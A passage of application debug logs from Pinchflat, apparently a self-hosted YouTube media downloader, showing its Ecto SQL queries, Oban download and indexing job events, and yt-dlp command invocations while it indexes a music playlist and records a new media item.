MEGITSUNE (OFFICIAL)", "cK3NMZAUKGw", 250, false, "https://www.youtube.com/watch?v=cK3NMZAUKGw", "/downloads/Grift/Grift/2013-06-04BABYMETAL - メギツネ - MEGITSUNE (OFFICIAL)[cK3NMZAUKGw].m4a", false, 4, ~U[2013-06-04 15:15:24Z]] 22:21:22.631 [debug] QUERY OK source="sources" db=0.3ms idle=144.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:22.631 [debug] QUERY OK source="media_profiles" db=0.1ms idle=144.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:22.631 [debug] QUERY OK source="media_items" db=0.1ms idle=145.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [157] 22:21:22.631 [debug] Current batch of media processed. Will check again in 1000ms 22:21:22.854 [info] {"args":{"id":202},"id":220,"meta":{},"system_time":1784859682854096963,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:22.854 [info] {"args":{"id":356},"id":221,"meta":{},"system_time":1784859682854159760,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:22.854 [debug] QUERY OK source="media_items" db=0.2ms idle=224.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [202] 22:21:22.854 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:22.854 [debug] QUERY OK source="media_items" db=0.3ms idle=223.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [356] 22:21:22.855 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:22.855 [debug] QUERY OK source="sources" db=0.2ms idle=223.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:22.855 [debug] QUERY OK source="sources" db=0.2ms idle=223.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:22.855 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:22.855 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:22.856 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [202] 22:21:22.856 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [356] 22:21:22.856 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [202] 22:21:22.856 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:22.857 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [356] 22:21:22.857 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.857 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:22.857 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:22.857 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.858 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:22.858 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.858 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.858 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.858 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.858 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.858 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=q54TGP8MxWo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/7d/557d515a8f39e4d96914be7a97f478accb260c99dcad7683d2cec510a7aecb4e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:22.859 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:22.859 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y9oLpJIjNEU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/b2/feb20f82b477c8c909f4dae3107ed24583aac2cc08aa147ecb31e3e533d2e85e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:23.234 [info] {"args":{"force":true,"id":1},"id":201,"meta":{},"system_time":1784859683234033093,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:21:23.234 [debug] QUERY OK source="sources" db=0.3ms idle=375.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:23.235 [debug] QUERY OK source="settings" db=0.1ms idle=376.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:23.235 [debug] QUERY OK source="media_items" db=0.3ms idle=376.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:21:23.236 [debug] QUERY OK source="media_items" db=0.1ms idle=128.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:21:23.236 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:23.237 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:23.237 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:21:23.238 [debug] Current batch of media processed. Will check again in 1000ms 22:21:23.238 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:23.238 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:23.238 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:23.238 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NAi_KMABvQWpQ0gKmrj7QY --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b8/ff/b8fffcd2e1e1ae5d096447acc0e7a16459a726fccf2c375ceb2c2b3382b397fb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:23.633 [debug] Current batch of media processed. Will check again in 1000ms 22:21:24.238 [debug] Current batch of media processed. Will check again in 1000ms 22:21:24.634 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 308, "filename" => "/downloads/Grift/Grift/2026-07-07【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】The Binding Of[89tnt_-CGXE].m4a", "id" => "89tnt_-CGXE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=89tnt_-CGXE", "playlist_index" => 38, "timestamp" => 1783436437, "title" => "【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】The Binding Of", "upload_date" => "20260707"} 22:21:24.634 [debug] QUERY OK source="sources" db=0.3ms idle=1396.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:24.635 [debug] QUERY OK source="sources" db=0.3ms idle=1396.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:24.635 [debug] QUERY OK source="media_items" db=0.2ms idle=1396.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-07 15:00:37Z], 4] 22:21:24.804 [debug] QUERY OK source="media_items" db=167.8ms idle=1397.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】The Binding Of", "8599b117-b654-42eb-a61b-0bf82ba1e70a", false, "89tnt_-CGXE", 308, false, "https://www.youtube.com/watch?v=89tnt_-CGXE", 38, "/downloads/Grift/Grift/2026-07-07【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】The Binding Of[89tnt_-CGXE].m4a", false, false, 4, [], 1, ~U[2026-07-07 15:00:37Z], ~U[2026-07-24 02:21:24Z], ~U[2026-07-24 02:21:24Z], "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】The Binding Of", "89tnt_-CGXE", 308, false, "https://www.youtube.com/watch?v=89tnt_-CGXE", "/downloads/Grift/Grift/2026-07-07【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】The Binding Of[89tnt_-CGXE].m4a", false, 4, ~U[2026-07-07 15:00:37Z]] 22:21:24.818 [debug] QUERY OK source="sources" db=14.1ms idle=684.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:24.819 [debug] QUERY OK source="media_profiles" db=0.2ms idle=184.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:24.819 [debug] QUERY OK source="media_items" db=0.2ms idle=184.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS 